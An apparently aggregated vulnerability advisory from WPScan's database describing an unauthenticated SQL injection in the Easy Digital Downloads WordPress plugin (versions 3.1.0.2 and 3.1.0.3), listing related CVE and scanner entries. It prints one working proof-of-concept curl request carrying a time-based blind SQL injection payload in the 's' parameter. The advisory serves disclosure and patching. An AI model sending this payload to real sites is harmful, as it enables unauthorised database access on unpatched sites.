Lucene search
WpvulndbWPEX-ID:C5A6830C-6420-42FC-B20C-8E20224D6F18HistoryJan 12, 2023 - 12:00 a.m.
Easy Digital Downloads 3.1.0.2 & 3.1.0.3 - Unauthenticated SQLi
2023-01-1200:00:00
wpvulndb
205
digital downloads
unauthenticated
sql injection
exploit
security
0.134 Low
EPSS
Percentile
95.6%
The plugin does not properly sanitise and escape the s parameter before using it in a SQL statement via the edd_download_search AJAX action , leading to a SQL injection exploitable by unauthenticated users
curl "https://example.com/wp-admin/admin-ajax.php?action=edd_download_search&s=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(2)))a)--+-"Related
nuclei
nuclei
WordPress Easy Digital Downloads 3.1.0.2/3.1.0.3 - SQL Injection
2023-02-12 07:21:47
wpvulndb
wpvulndb
Easy Digital Downloads 3.1.0.2 & 3.1.0.3 - Unauthenticated SQLi
2023-01-12 00:00:00
nvd
nvd
CVE-2023-23489
2023-01-20 18:15:10
cve
cve
CVE-2023-23489
2023-01-20 18:15:10
prion
prion
Sql injection
2023-01-20 18:15:00
openvas
openvas
WordPress Easy Digital Downloads Plugin 3.1.0.2 - 3.1.0.3 SQLi Vulnerability
2023-09-05 00:00:00
cvelist
cvelist
CVE-2023-23489
2023-01-20 00:00:00